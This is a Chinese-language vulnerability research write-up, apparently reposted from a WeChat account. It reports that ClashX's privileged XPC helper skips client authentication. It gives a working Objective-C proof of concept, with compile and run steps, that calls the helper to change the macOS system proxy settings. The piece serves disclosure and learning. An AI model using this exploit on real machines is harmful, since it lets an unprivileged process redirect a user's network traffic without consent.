ClashX 更改网络代理特权操作漏洞挖掘记录

渗透技巧 8个月前 admin
111 0 0

前言

XPC 为基本进程间通信提供了一种轻量级机制。它允许你创建称为 XPC 服务的轻型帮助程序工具,用于代表你的应用执行工作。 launchd 系统守护程序管理这些服务,按需启动它们,在空闲时关闭它们,并在它们崩溃时重新启动它们。

全局第三方 XPC 应用程序通常以PrivilegedHelperTool的形式出现。这些工具通常由必须以 root 身份执行某些操作的应用程序安装。应用程序安装这些客户端工具来帮助它们执行特权操作,而不是在每次需要 root 时提升权限。

细节

ClashX 有一个 PrivilegedHelperTools XPC 服务:com.west2online.ClashX.ProxyConfigHelper 。

在 ProxyConfigHelper.m 文件中,它没有对连接的客户端进行身份验证的过程,因此允许我们自定义连接过程:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
//    if (![self connectionIsVaild:newConnection]) {
//        return NO;
//    }
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProxyConfigRemoteProcessProtocol)];
    newConnection.exportedObject = self;
    __weak NSXPCConnection *weakConnection = newConnection;
    __weak ProxyConfigHelper *weakSelf = self;
    newConnection.invalidationHandler = ^{
        [weakSelf.connections removeObject:weakConnection];
        if (weakSelf.connections.count == 0) {
            weakSelf.shouldQuit = YES;
        }
    };
    [self.connections addObject:newConnection];
    [newConnection resume];
    return YES;
}

从 ProxyConfigRemoteProcessProtocol.h 文件中,我们知道 XPC 服务提供了以下方法:

@import Foundation;

typedef void(^stringReplyBlock)(NSString *);
typedef void(^boolReplyBlock)(BOOL);
typedef void(^dictReplyBlock)(NSDictionary *);

@protocol ProxyConfigRemoteProcessProtocol <NSObject>
@required

- (void)getVersion:(stringReplyBlock)reply;

- (void)enableProxyWithPort:(int)port
                  socksPort:(int)socksPort
                        pac:(NSString *)pac
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList
                      error:(stringReplyBlock)reply;

- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                  reply:(stringReplyBlock)reply;

- (void)restoreProxyWithCurrentPort:(int)port
                          socksPort:(int)socksPort
                               info:(NSDictionary *)dict
                    filterInterface:(BOOL)filterInterface
                              error:(stringReplyBlock)reply;

- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end

继续跟踪 enableProxyWithport :遍历网络设备并设置代理设置:

- (void)enableProxyWithport:(int)port socksPort:(int)socksPort
                     pacUrl:(NSString *)pacUrl
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList {

    [self applySCNetworkSettingWithRef:^(SCPreferencesRef ref) {
        [ProxySettingTool getDiviceListWithPrefRef:ref filterInterface:filterInterface devices:^(NSString *key, NSDictionary *dict) {
            [self enableProxySettings:ref interface:key port:port socksPort:socksPort ignoreList:ignoreList pac:pacUrl];
        }];
    }];
}
...
+ (void)getDiviceListWithPrefRef:(SCPreferencesRef)ref
                 filterInterface:(BOOL)filterInterface
                         devices:(void(^)(NSString *, NSDictionary *))callback {
    NSDictionary *sets = (__bridge NSDictionary *)SCPreferencesGetValue(ref, kSCPrefNetworkServices);
    for (NSString *key in [sets allKeys]) {
        NSMutableDictionary *dict = [sets objectForKey:key];
        NSString *hardware = [dict valueForKeyPath:@"Interface.Hardware"];
        if (!filterInterface || [hardware isEqualToString:@"AirPort"]
            || [hardware isEqualToString:@"Wi-Fi"]
            || [hardware isEqualToString:@"Ethernet"]
            ) {
            callback(key,dict);
        }
    }
}
...

- (NSDictionary *)getProxySetting:(BOOL)enable port:(int) port
                        socksPort: (int)socksPort pac:(NSString *)pac
                       ignoreList:(NSArray<NSString *>*)ignoreList {
    
    NSMutableDictionary *proxySettings = [NSMutableDictionary dictionary];
    
    NSString *ip = enable ? @"127.0.0.1" : @"";
    NSInteger enableInt = enable ? 1 : 0;
    NSInteger enablePac = [pac length] > 0;

在“getProxySetting”函数中,有一条语句 NSString *ip = enable ? @"127.0.0.1" : @""; 将IP限制为仅配置为127.0.0.1。不影响此漏洞仍可将系统代理更改为本地恶意代理地址。

Poc

  1. 1. Wirte poc.m

#import <Foundation/Foundation.h>

static NSString *XPCHelperMachServiceName =
    @"com.west2online.ClashX.ProxyConfigHelper";

typedef void (^stringReplyBlock)(NSString *);
typedef void (^boolReplyBlock)(BOOL);
typedef void (^dictReplyBlock)(NSDictionary *);

@protocol HelperToolProtocol <NSObject>
@required
- (void)getVersion:(stringReplyBlock)reply;
- (void)enableProxyWithPort:(int)port
                    socksPort:(int)socksPort
                        pac:(NSString *)pac
            filterInterface:(BOOL)filterInterface
                    ignoreList:(NSArray<NSString *> *)ignoreList
                        error:(stringReplyBlock)reply;
- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                    reply:(stringReplyBlock)reply;
- (void)restoreProxyWithCurrentPort:(int)port
                            socksPort:(int)socksPort
                                info:(NSDictionary *)dict
                    filterInterface:(BOOL)filterInterface
                                error:(stringReplyBlock)reply;
- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end

int main(void) {
    OSStatus err;
    NSString *service_name = XPCHelperMachServiceName;
    NSXPCConnection *connection =
        [[NSXPCConnection alloc] initWithMachServiceName:service_name
                                                options:0x1000];
    NSXPCInterface *interface =
        [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
    NSLog(@"[-] Error: %@", error);
    }];

    NSLog(@"[+] obj: %@ conn: %@", obj, connection);

    [obj enableProxyWithPort:3333
                    socksPort:7777
                        pac:NULL
            filterInterface:YES
                    ignoreList:NULL
                        error:^(NSString *error) {
                        NSLog(@"Error: %@", error);
                        }];
    NSLog(@"[+] Done");
}
  1. 2. Compile the poc.m

clang -framework Foundation poc.m -o poc

  1. 3. Run it

./poc                                                       
2023-05-26 13:34:45.313 poc[13498:214914] [+] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x15c0044f0> conn: <NSXPCConnection: 0x15b60c4d0> connection to service named com.west2online.ClashX.ProxyConfigHelper
2023-05-26 13:34:45.313 poc[13498:214914] [+] Done

已检查并成功设置系统网络代理设置:

ClashX 更改网络代理特权操作漏洞挖掘记录

总结

是个水洞,当学习XPC了。

参考链接

  • • https://developer.apple.com/documentation/xpc



原文始发于微信公众号(凹陷外壳):ClashX 更改网络代理特权操作漏洞挖掘记录

版权声明:admin 发表于 2023年9月17日 下午7:23。
转载请注明:ClashX 更改网络代理特权操作漏洞挖掘记录 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...